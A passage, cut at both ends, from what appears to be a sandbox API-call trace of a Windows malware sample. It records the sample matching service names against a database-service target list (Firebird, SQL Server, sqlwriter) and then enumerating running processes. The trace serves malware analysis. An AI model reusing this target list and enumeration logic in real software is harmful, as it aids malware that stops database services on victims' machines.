(lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0174.151] lstrlenW (lpString="LanmanServer") returned 12 [0174.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0174.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0174.151] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0174.151] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0174.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0174.151] lstrlenW (lpString="LanmanWorkstation") returned 17 [0174.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0174.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0174.151] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0174.151] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0174.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0174.151] lstrlenW (lpString="lfsvc") returned 5 [0174.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0174.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0174.151] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0174.151] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0174.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0174.151] lstrlenW (lpString="lmhosts") returned 7 [0174.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0174.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0174.151] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0174.151] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0174.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0174.151] lstrlenW (lpString="LSM") returned 3 [0174.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0174.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0174.151] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0174.152] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0174.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0174.152] lstrlenW (lpString="MpsSvc") returned 6 [0174.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0174.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0174.152] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0174.152] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0174.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0174.152] lstrlenW (lpString="NcbService") returned 10 [0174.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0174.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0174.152] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0174.152] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0174.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0174.152] lstrlenW (lpString="netprofm") returned 8 [0174.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0174.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0174.152] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0174.152] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0174.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0174.152] lstrlenW (lpString="NgcSvc") returned 6 [0174.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0174.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0174.152] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0174.152] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0174.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0174.152] lstrlenW (lpString="NlaSvc") returned 6 [0174.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0174.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0174.152] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0174.152] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0174.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0174.152] lstrlenW (lpString="nsi") returned 3 [0174.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0174.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0174.153] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0174.153] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0174.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0174.153] lstrlenW (lpString="PcaSvc") returned 6 [0174.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0174.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0174.153] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0174.153] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0174.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0174.153] lstrlenW (lpString="PlugPlay") returned 8 [0174.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0174.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0174.153] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0174.153] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0174.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0174.153] lstrlenW (lpString="Power") returned 5 [0174.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0174.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0174.153] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0174.153] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0174.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0174.153] lstrlenW (lpString="ProfSvc") returned 7 [0174.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0174.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0174.153] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0174.153] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0174.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0174.153] lstrlenW (lpString="RpcEptMapper") returned 12 [0174.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0174.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0174.153] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0174.153] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0174.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0174.154] lstrlenW (lpString="RpcSs") returned 5 [0174.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0174.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0174.154] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0174.154] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0174.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0174.154] lstrlenW (lpString="SamSs") returned 5 [0174.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0174.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0174.154] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0174.154] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0174.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0174.154] lstrlenW (lpString="Schedule") returned 8 [0174.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0174.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0174.154] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0174.154] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0174.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0174.154] lstrlenW (lpString="SecurityHealthService") returned 21 [0174.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0174.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0174.154] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0174.154] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0174.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0174.154] lstrlenW (lpString="SENS") returned 4 [0174.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0174.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0174.154] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0174.154] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0174.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0174.154] lstrlenW (lpString="ShellHWDetection") returned 16 [0174.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0174.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0174.154] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0174.155] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0174.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0174.155] lstrlenW (lpString="Spooler") returned 7 [0174.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0174.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0174.155] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0174.155] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0174.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0174.155] lstrlenW (lpString="StateRepository") returned 15 [0174.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0174.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0174.155] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0174.155] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0174.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0174.155] lstrlenW (lpString="SysMain") returned 7 [0174.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0174.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0174.155] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0174.155] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0174.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0174.155] lstrlenW (lpString="SystemEventsBroker") returned 18 [0174.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0174.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0174.155] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0174.155] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0174.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0174.155] lstrlenW (lpString="Themes") returned 6 [0174.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0174.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0174.155] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0174.155] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0174.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0174.155] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0174.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0174.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0174.156] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0174.156] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0174.156] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x403a1d8 | out: hHeap=0x420000) returned 1 [0174.156] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4dc [0174.160] Process32FirstW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.161] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0174.161] lstrlenW (lpString="System") returned 6 [0174.161] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0174.162] lstrlenW (lpString="smss.exe") returned 8 [0174.162] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0174.162] lstrlenW (lpString="csrss.exe") returned 9 [0174.162] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0174.163] lstrlenW (lpString="wininit.exe") returned 11 [0174.163] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0174.163] lstrlenW (lpString="csrss.exe") returned 9 [0174.163] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0174.164] lstrlenW (lpString="winlogon.exe") returned 12 [0174.164] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0174.164] lstrlenW (lpString="services.exe") returned 12 [0174.164] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0174.164] lstrlenW (lpString="lsass.exe") returned 9 [0174.164] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0174.165] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0174.165] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0174.165] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0174.165] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.166] lstrlenW (lpString="svchost.exe") returned 11 [0174.166] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.166] lstrlenW (lpString="svchost.exe") returned 11 [0174.166] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0174.167] lstrlenW (lpString="dwm.exe") returned 7 [0174.167] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.736] lstrlenW (lpString="svchost.exe") returned 11 [0174.736] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.737] lstrlenW (lpString="svchost.exe") returned 11 [0174.737] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.737] lstrlenW (lpString="svchost.exe") returned 11 [0174.737] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.738] lstrlenW (lpString="svchost.exe") returned 11 [0174.738] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.738] lstrlenW (lpString="svchost.exe") returned 11 [0174.738] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.739] lstrlenW (lpString="svchost.exe") returned 11 [0174.739] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.739] lstrlenW (lpString="svchost.exe") returned 11 [0174.739] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.739] lstrlenW (lpString="svchost.exe") returned 11 [0174.739] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.740] lstrlenW (lpString="svchost.exe") returned 11 [0174.740] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.740] lstrlenW (lpString="svchost.exe") returned 11 [0174.740] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0174.741] lstrlenW (lpString="spoolsv.exe") returned 11 [0174.741] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.741] lstrlenW (lpString="svchost.exe") returned 11 [0174.741] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0174.742] lstrlenW (lpString="audiodg.exe") returned 11 [0174.742] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0174.742] lstrlenW (lpString="sihost.exe") returned 10 [0174.742] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.742] lstrlenW (lpString="svchost.exe") returned 11 [0174.743] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0174.743] lstrlenW (lpString="taskhostw.exe") returned 13 [0174.743] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0174.743] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0174.743] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0174.744] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0174.744] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0174.744] lstrlenW (lpString="Memory Compression") returned 18 [0174.744] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0174.745] lstrlenW (lpString="explorer.exe") returned 12 [0174.745] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0174.746] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0174.746] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, 